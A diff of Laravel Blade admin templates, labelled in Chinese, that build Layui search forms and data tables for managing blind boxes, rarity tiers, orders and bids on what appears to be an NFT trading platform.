||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="rarity">
|
||||
<option value="">全部</option>
|
||||
<option value="N" style="color:lightgray">N</option>
|
||||
<option value="R" style="color:lightblue">R</option>
|
||||
<option value="SR" style="color:purple">SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="bindSearch" lay-filter="bindSearch">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
<table id="bindlist" lay-filter="bindlist"></table>
|
||||
<script type="text/html" id="barBind">
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-xs layui-btn-danger" lay-event="del">删除</a>
|
||||
</script>
|
||||
<!--<script type="text/html" id="bindTpl">-->
|
||||
<!-- <input type="checkbox" name="status" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.status == 1 ? 'checked' : '' }}>-->
|
||||
<!--</script>-->
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="bindType">
|
||||
@{{d.type==1 ? '<span class="">'+'图片'+'</span>' : '' }}
|
||||
@{{d.type==4 ? '<span class="">'+'视频'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindTpl">
|
||||
@{{d.status==0 ? '<span class="">'+'已结束'+'</span>' : '' }}
|
||||
@{{d.status==1 ? '<span class="">'+'开始'+'</span>' : '' }}
|
||||
@{{d.status==2 ? '<span class="">'+'未开始'+'</span>' : '' }}
|
||||
</script>
|
||||
<!--<script type="text/html" id="bindHash">-->
|
||||
|
||||
<!--</script>-->
|
||||
<!--<script type="text/html" id="logo">-->
|
||||
<!-- <img width="40px" src="@{{d.image}}" onmouseover="layer.tips('<div style=\'background-color: #fff;\'><img style=\'width:300px;text-align:center;\' src=@{{d.image}}></div>',this,{tips: [1, '#fff'],area:['350px', 'auto'],time: 100000});" onmouseout="layer.closeAll();">-->
|
||||
<!--</script>-->
|
||||
<script type="text/html" id="bindTransaction">
|
||||
@{{d.pay_type==1 ? '<span class="">'+'一口价'+'</span>' : '' }}
|
||||
@{{d.pay_type==2 ? '<span class="">'+'竞拍'+'</span>' : '' }}
|
||||
@{{d.pay_type==3 ? '<span class="">'+'盲盒'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindRarity">
|
||||
@{{d.rarity=="N" ? "<span style='color:gray;font-weight:bold'>"+"N"+"</span>" : "" }}
|
||||
@{{d.rarity=="R" ? "<span style='color:lightblue;font-weight:bold'>"+"R"+"</span>" : "" }}
|
||||
@{{d.rarity=="SR" ? "<span style='color:purple;font-weight:bold'>"+"SR"+"</span>" : "" }}
|
||||
</script>
|
||||
<script type="text/html" id="bindFiles">
|
||||
@{{(/\.(png|jpg|gif|jpeg|webp)$/).test(d.image) == true ? '<img src="'+d.image+'" alt="'+d.image+'" style="width:60px;cursor:pointer" onclick="showBigImage(this)">' : '<video src="'+d.image+'" alt="'+d.name+'" style="width:60px;cursor:pointer" onclick="showBigVideo(this)">' }}
|
||||
</script>
|
||||
|
||||
<script type="text/javascript">
|
||||
//显示大图片
|
||||
function showBigImage(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: false,
|
||||
closeBtn: 0,
|
||||
shadeClose: true, //点击阴影关闭
|
||||
area: [$(e).width + 'px', $(e).height + 'px'], //宽高
|
||||
content: "<img style='max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
function showBigVideo(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: $(e).attr('alt'),
|
||||
closeBtn: 0,
|
||||
shadeClose: true, //点击阴影关闭
|
||||
offset: 'auto',
|
||||
area: 'auto',
|
||||
content: "<video controls='controls' style='max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,table = layui.table
|
||||
,$ = layui.$
|
||||
,form = layui.form
|
||||
|
||||
//第一个实例
|
||||
var bindlist = table.render({
|
||||
|
||||
elem: '#bindlist'
|
||||
,url: '{{url('admin/bind_box/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,limit: 20
|
||||
,limits: [20, 50, 100, 200, 500, 1000]
|
||||
,cols: [[ //表头
|
||||
{field: 'check', type: 'checkbox', width: 40}
|
||||
// ,{field: 'id', title: 'ID', width:70, sort: true}
|
||||
,{field: 'code', title: '哈希值', minWidth:110}
|
||||
,{field: 'currency_name', title: '交易币种', minWidth:85}
|
||||
,{field: 'pay_type', title: '交易类型', minWidth:100, templet: '#bindTransaction'}
|
||||
,{field: 'per_increase', title:'竞拍每次加价', minWidth:120,}
|
||||
,{field: 'name', title: '名称', minWidth:110}
|
||||
// ,{field: 'number', title: '数量', Width:30}
|
||||
// ,{field: 'description', title: '资产详情', minWidth:80}
|
||||
,{field: 'author', title: '作者ID', minWidth:80}
|
||||
// ,{field: 'author_description', title: '关于艺术家', minWidth:80}
|
||||
,{field: 'type', title: '文件类型', minWidth:85, templet: '#bindType'}
|
||||
// ,{field: 'image', title: '文件内容', minWidth:80, templet:'<div><img src="@{{d.image}}" alt="" style="width:60px;cursor:pointer" onclick="showBigImage(this)"></div>'}
|
||||
,{title: '封面图', minWidth:80, templet: "#bindFiles" }
|
||||
,{field: 'rarity', title:'稀有度', minWidth:80, templet: '#bindRarity'}
|
||||
,{field: 'price', title: '价格', minWidth:110, sort: true}
|
||||
,{field: 'margin', title: '保证金', sort: true}
|
||||
// ,{field: 'status', title:'状态', minWidth:85, templet: '#bindTpl'}
|
||||
// ,{field: 'token_id', title:'唯一Token', minWidth:120}
|
||||
,{field: 'created', title:'创建时间', minWidth:150}
|
||||
// ,{field: 'start_time', title:'开始时间', minWidth:155 }
|
||||
// ,{field: 'end_time', title:'失效时间', minWidth:155 }
|
||||
// ,{field: 'start_time', title:'开始时间', minWidth:155, templet:function(data){
|
||||
// return layui.util.toDateString(data.start_time*1000,"yyyy-MM-dd HH:mm:ss")
|
||||
// }}
|
||||
// ,{field: 'end_time', title:'失效时间', minWidth:155, templet:function(data){
|
||||
// return layui.util.toDateString(data.start_time*1000,"yyyy-MM-dd HH:mm:ss")
|
||||
// }}
|
||||
,{title: '操作', minWidth:150, toolbar: '#barBind'}
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
// form.on('switch(sexDemo)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_display')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindSearch)', function (data) {
|
||||
bindlist.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
//单个删除与编辑
|
||||
table.on('tool(bindlist)', function(obj){
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event; //获得 lay-event 对应的值(也可以是表头的 event 参数对应的值)
|
||||
var tr = obj.tr; //获得当前行 tr 的DOM对象
|
||||
if (layEvent === 'edit') {
|
||||
var index = layer.open({
|
||||
title: '编辑'
|
||||
,type: 2
|
||||
,content: '{{url('/admin/bind_box/edit')}}?id=' + data.id
|
||||
,area: ['960px', '600px']
|
||||
});
|
||||
}
|
||||
if(layEvent === 'del'){
|
||||
layer.confirm('真的删除此行数据吗?删除后不可恢复!!!', function(index){
|
||||
$.ajax({
|
||||
type: 'POST'
|
||||
,dataType: 'json'
|
||||
,url: '/admin/bind_box/del'
|
||||
,data:{'id':data.id}
|
||||
,success: function (data) {
|
||||
if(data.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
window.location.reload()
|
||||
}else if(data.type=='error'){
|
||||
layer.msg(data.message);
|
||||
}else{
|
||||
layer.msg(data.message);
|
||||
// parent.layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//批量删除
|
||||
$("#datadel").on('click',function(){
|
||||
//获取选中状态
|
||||
var checkStatus = table.checkStatus('bindlist');
|
||||
|
||||
const ids = checkStatus.data.map(item => item.id)
|
||||
|
||||
//获取选中数量
|
||||
if(ids.length == 0){
|
||||
layer.msg('批量删除至少选中一项数据',function(){});
|
||||
return false;
|
||||
}
|
||||
layer.confirm('真的要删除选中的项吗?删除后不可恢复!!!',function(index){
|
||||
//layer.close(index);
|
||||
|
||||
$.ajax({
|
||||
type:'post',
|
||||
data:{id:ids},
|
||||
url: '/admin/bind_box/del',
|
||||
success:function(data){
|
||||
if(data.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
window.location.reload()
|
||||
}else if(data.type=='error'){
|
||||
layer.msg(data.message);
|
||||
}else{
|
||||
layer.msg(data.message);
|
||||
// parent.layer.close(index);
|
||||
// parent.location.reload();
|
||||
}
|
||||
},error:function(code){
|
||||
layer.msg('操作失败!',data.message);
|
||||
}
|
||||
});
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
// //监听工具条
|
||||
// table.on('tool(adminList)', function(obj){ //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
// var data = obj.data; //获得当前行数据
|
||||
// var layEvent = obj.event; //获得 lay-event 对应的值(也可以是表头的 event 参数对应的值)
|
||||
// var tr = obj.tr; //获得当前行 tr 的DOM对象
|
||||
|
||||
// if(layEvent === 'del'){ //删除
|
||||
// layer.confirm('真的要删除吗?', function(index){
|
||||
// //向服务端发送删除指令
|
||||
// $.ajax({
|
||||
// url:'/admin/manager/delete',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:data.id},
|
||||
// success:function(res){
|
||||
// if(res.type=='ok'){
|
||||
// obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
// layer.msg(res.message);
|
||||
// layer.close(index);
|
||||
// }else{
|
||||
// layer.close(index);
|
||||
// layer.alert(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
// } else if(layEvent === 'edit'){ //编辑
|
||||
// //do something
|
||||
// layer_show('修改管理员', '/admin/manager/add?id=' + data.id);
|
||||
|
||||
// }
|
||||
// });
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,159 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div class="layui-form">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">哈希值</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="code" type="text" value="" placeholder="请输入哈希值">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">交易币种</label>
|
||||
<div class="layui-input-inline" style="width: 150px">
|
||||
<select name='currency_id'>
|
||||
<option class='layui-option' value="" >请选择</option>
|
||||
@foreach($currency as $key => $value)
|
||||
<option class='layui-option' value="{{$value['id']}}" >{{$value['name']}}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">交易类型</label>-->
|
||||
<!-- <div class="layui-input-inline" style="width:90px;">-->
|
||||
<!-- <select name="pay_type">-->
|
||||
<!-- <option value="">全部</option>-->
|
||||
<!-- <option value="1">一口价</option>-->
|
||||
<!-- <option value="2">竞拍</option>-->
|
||||
<!-- <option value="3">盲盒</option>-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="name" type="text" value="" placeholder="请输入名称">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">买入者ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="buyer_id" type="text" value="" placeholder="请输入买入者ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">卖出者ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="sell_id" type="text" value="" placeholder="请输入卖出者ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">创作者ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="author_id" type="text" value="" placeholder="请输入创作者ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="bindOrderSearch" lay-filter="bindOrderSearch">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<table id="bindOrderlist" lay-filter="bindOrderlist"></table>
|
||||
<!--<script type="text/html" id="barBind">-->
|
||||
<!-- <a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>-->
|
||||
<!--</script>-->
|
||||
<!--<script type="text/html" id="bindTpl">-->
|
||||
<!-- <input type="checkbox" name="status" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.status == 1 ? 'checked' : '' }}>-->
|
||||
<!--</script>-->
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="bindOrderStatus">
|
||||
@{{d.status==1 ? '<span class="layui-badge layui-bg-green">'+'有效'+'</span>' : '' }}
|
||||
@{{d.status==0 ? '<span class="layui-badge layui-bg-red">'+'无效'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindCode">
|
||||
|
||||
</script>
|
||||
<script>
|
||||
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,table = layui.table
|
||||
,$ = layui.$
|
||||
,form = layui.form
|
||||
//第一个实例
|
||||
var bindOrderlist = table.render({
|
||||
|
||||
elem: '#bindOrderlist'
|
||||
,url: '{{url('admin/bind_box/orderList')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,limit: 20
|
||||
,limits: [20, 50, 100, 200, 500, 1000]
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '订单ID', minWidth:50, sort: true}
|
||||
,{field: 'code', title: '哈希值', minWidth:350, templet:"bindCode"}
|
||||
,{field: 'buyer_id', title: '买入者ID', minWidth:85}
|
||||
,{field: 'sell_id', title: '卖出者ID', minWidth:100}
|
||||
,{field: 'author_id', title: '创作者ID', minWidth:110}
|
||||
,{field: 'status', title: '状态', minWidth:80, templet:"bindOrderStatus"}
|
||||
,{field: 'order_price', title: '成交价', minWidth:110, sort: true}
|
||||
,{field: 'currency_name', title:'交易币种', minWidth:80}
|
||||
// ,{field: 'updated', title:'修改时间', minWidth:150}
|
||||
,{field: 'created', title:'成交时间', minWidth:150}
|
||||
// ,{title: '操作',fixed: 'right', Width:50, toolbar: '#barBind'}
|
||||
]]
|
||||
});
|
||||
// //监听热卖操作
|
||||
// form.on('switch(sexDemo)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_display')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
// // 监听工具条
|
||||
// table.on('tool(bindOrderlist)', function (obj) {
|
||||
// var layEvent = obj.event
|
||||
// ,data = obj.data
|
||||
// if (layEvent === 'edit') {
|
||||
// var index = layer.open({
|
||||
// title: '编辑'
|
||||
// ,type: 2
|
||||
// ,content: '{{url('/admin/bind_box/edit')}}?id=' + data.id
|
||||
// ,area: ['960px', '700px']
|
||||
// });
|
||||
// }
|
||||
// });
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindOrderSearch)', function (data) {
|
||||
bindOrderlist.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,111 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div class="layui-form">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">哈希值</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="code" type="text" value="" placeholder="请输入哈希值">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">交易币种</label>
|
||||
<div class="layui-input-inline" style="width: 150px">
|
||||
<select name='currency'>
|
||||
<option class='layui-option' value="" >请选择</option>
|
||||
@foreach($currency as $key => $value)
|
||||
<option class='layui-option' value="{{$value['id']}}" >{{$value['name']}}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">买入者ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="buyer_id" type="text" value="" placeholder="请输入买入者ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="bindQuotationSearch" lay-filter="bindQuotationSearch">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
<table id="bindQuotationList" lay-filter="bindQuotationList"></table>
|
||||
<!--<script type="text/html" id="barBind">-->
|
||||
<!-- <a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>-->
|
||||
<!--</script>-->
|
||||
<!--<script type="text/html" id="bindTpl">-->
|
||||
<!-- <input type="checkbox" name="status" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.status == 1 ? 'checked' : '' }}>-->
|
||||
<!--</script>-->
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="bindOrderStatus">
|
||||
@{{d.status==1 ? '<span class="layui-badge layui-bg-green">'+'有效'+'</span>' : '' }}
|
||||
@{{d.status==0 ? '<span class="layui-badge layui-bg-red">'+'无效'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindCode">
|
||||
|
||||
</script>
|
||||
<script>
|
||||
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,table = layui.table
|
||||
,$ = layui.$
|
||||
,form = layui.form
|
||||
//第一个实例
|
||||
var bindQuotationList = table.render({
|
||||
|
||||
elem: '#bindQuotationList'
|
||||
,url: '{{url('admin/bind_box/quotationList')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,limit: 20
|
||||
,limits: [20, 50, 100, 200, 500, 1000]
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '订单ID', minWidth:50, sort: true}
|
||||
,{field: 'code', title: '哈希值', minWidth:350}
|
||||
,{field: 'currency_name', title:'交易币种', minWidth:80}
|
||||
,{field: 'buyer_id', title: '买入者ID', minWidth:85}
|
||||
,{field: 'status', title: '状态', minWidth:80, templet:"#bindOrderStatus"}
|
||||
,{field: 'price', title: '成交价', minWidth:110, sort: true}
|
||||
,{field: 'created', title:'出价时间', minWidth:150}
|
||||
// ,{title: '操作',fixed: 'right', Width:50, toolbar: '#barBind'}
|
||||
]]
|
||||
});
|
||||
|
||||
// // 监听工具条
|
||||
// table.on('tool(bindQuotationList)', function (obj) {
|
||||
// var layEvent = obj.event
|
||||
// ,data = obj.data
|
||||
// if (layEvent === 'edit') {
|
||||
// var index = layer.open({
|
||||
// title: '编辑'
|
||||
// ,type: 2
|
||||
// ,content: '{{url('/admin/bind_box/edit')}}?id=' + data.id
|
||||
// ,area: ['960px', '700px']
|
||||
// });
|
||||
// }
|
||||
// });
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindQuotationSearch)', function (data) {
|
||||
bindQuotationList.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,150 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style type="text/css">
|
||||
.layui-table-cell{
|
||||
height: auto;
|
||||
white-space: normal;
|
||||
}
|
||||
.layui-table img{
|
||||
/*max-width:100px*/
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加盲盒','{{url('admin/bind_box/add_rarity_house_view')}}','960','500')">添加盲盒</button>
|
||||
<div class="layui-form">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="name" type="text" value="" placeholder="请输入名称">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">稀有度</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="rarity">
|
||||
<option value="">全部</option>
|
||||
<option value="N">N</option>
|
||||
<option value="R">R</option>
|
||||
<option value="SR">SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="bindBoxSearch" lay-filter="bindBoxSearch">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<table id="bindBoxlist" lay-filter="bindBoxlist"></table>
|
||||
|
||||
|
||||
<!--<script type="text/html" id="bindTpl">-->
|
||||
<!-- <input type="checkbox" name="status" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.status == 1 ? 'checked' : '' }}>-->
|
||||
<!--</script>-->
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
|
||||
<script type="text/html" id="bindBoxstatus">
|
||||
@{{d.status==0 ? '<span class="">'+'未开启'+'</span>' : '' }}
|
||||
@{{d.status==1 ? '<span class="">'+'已开启'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="barBindbox">
|
||||
@{{d.status==0 ? '<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindRarity">
|
||||
@{{d.rarity=="N" ? "<span style='color:lightgray;font-weight:bold'>"+"N"+"</span>" : "" }}
|
||||
@{{d.rarity=="R" ? "<span style='color:lightblue;font-weight:bold'>"+"R"+"</span>" : "" }}
|
||||
@{{d.rarity=="SR" ? "<span style='color:purple;font-weight:bold'>"+"SR"+"</span>" : "" }}
|
||||
</script>
|
||||
<script type="text/html" id="bindRarity">
|
||||
@{{d.rarity=="N" ? "<span style='color:lightgray;font-weight:bold'>"+"N"+"</span>" : "" }}
|
||||
@{{d.rarity=="R" ? "<span style='color:lightblue;font-weight:bold'>"+"R"+"</span>" : "" }}
|
||||
@{{d.rarity=="SR" ? "<span style='color:purple;font-weight:bold'>"+"SR"+"</span>" : "" }}
|
||||
</script>
|
||||
<script type="text/html" id="bindBoxfile">
|
||||
@{{(/\.(png|PNG|jpg|JPG|gif|GIF|jpeg|JPEG|webp|WEBP)$/).test(d.file) == true ? '<img src="'+d.file+'" alt="" style="width:60px;cursor:pointer" onclick="showBigImage(this)">' : '<video src="'+d.file+'" alt="'+d.name+'" style="width:60px;cursor:pointer" onclick="showBigVideo(this)">' }}
|
||||
</script>
|
||||
<script type="text/javascript">
|
||||
//显示大图片
|
||||
function showBigImage(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: false,
|
||||
closeBtn: 0,
|
||||
shadeClose: true, //点击阴影关闭
|
||||
area: [$(e).width + 'px', $(e).height + 'px'], //宽高
|
||||
content: "<img style='max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
function showBigVideo(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: $(e).attr('alt'),
|
||||
closeBtn: 0,
|
||||
shadeClose: true, //点击阴影关闭
|
||||
offset: 'auto',
|
||||
area: 'auto',
|
||||
content: "<video controls='controls' style='max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,table = layui.table
|
||||
,$ = layui.$
|
||||
,form = layui.form
|
||||
//第一个实例
|
||||
var bindBoxlist = table.render({
|
||||
|
||||
elem: '#bindBoxlist'
|
||||
,url: '{{url('admin/bind_box/rarity_house_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,limit: 20
|
||||
,limits: [20, 50, 100, 200, 500, 1000]
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '盲盒ID', width:110, sort: true}
|
||||
,{field: 'name', title: '名称', width:150}
|
||||
,{field: 'file', title: '文件内容', width:150, templet:'#bindBoxfile'}
|
||||
// ,{field: 'rarity', title: '稀有度', width:85, templet: '#bindRarity'}
|
||||
,{field: 'status', title: '状态', width:85, templet:"#bindBoxstatus"}
|
||||
,{field: 'created', title: '创建时间', width:180}
|
||||
,{title: '操作',fixed: 'right', width:100, toolbar: '#barBindbox'}
|
||||
]]
|
||||
});
|
||||
|
||||
// 监听工具条
|
||||
table.on('tool(bindBoxlist)', function (obj) {
|
||||
var layEvent = obj.event
|
||||
,data = obj.data
|
||||
if (layEvent === 'edit') {
|
||||
var index = layer.open({
|
||||
title: '编辑'
|
||||
,type: 2
|
||||
,content: '{{url('/admin/bind_box/edit_rarity_house_view')}}?id=' + data.id
|
||||
,area: ['960px', '700px']
|
||||
});
|
||||
}
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(bindBoxSearch)', function (data) {
|
||||
bindBoxlist.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,144 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div class="layui-form">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">哈希值</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="code" type="text" value="" placeholder="请输入哈希值">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="user_id" type="text" value="" placeholder="请输入用户ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">支付情况</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="is_pay">
|
||||
<option value="">全部</option>
|
||||
<option value="1">已支付</option>
|
||||
<option value="0">未支付</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<div class="layui-input-inline" style="width: 60px;">
|
||||
<button class="layui-btn" lay-submit="bindSuccessOrderSearch" lay-filter="bindSuccessOrderSearch">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<table id="bindSuccessOrderlist" lay-filter="bindSuccessOrderlist"></table>
|
||||
<!--<script type="text/html" id="barBind">-->
|
||||
<!-- <a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>-->
|
||||
<!--</script>-->
|
||||
<!--<script type="text/html" id="bindTpl">-->
|
||||
<!-- <input type="checkbox" name="status" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.status == 1 ? 'checked' : '' }}>-->
|
||||
<!--</script>-->
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="bindSuccessOrderRead">
|
||||
@{{d.is_read==1 ? '<span class="layui-badge layui-bg-green">'+'已读'+'</span>' : '' }}
|
||||
@{{d.is_read==0 ? '<span class="layui-badge layui-bg-red">'+'未读'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindSuccessOrderPay">
|
||||
@{{d.is_pay==1 ? '<span class="layui-badge layui-bg-green">'+'已支付'+'</span>' : '' }}
|
||||
@{{d.is_pay==0 ? '<span class="layui-badge layui-bg-red">'+'未支付'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindSuccessOrderStatus">
|
||||
@{{d.is_expired==1 ? '<span class="layui-badge layui-bg-green">'+'有效'+'</span>' : '' }}
|
||||
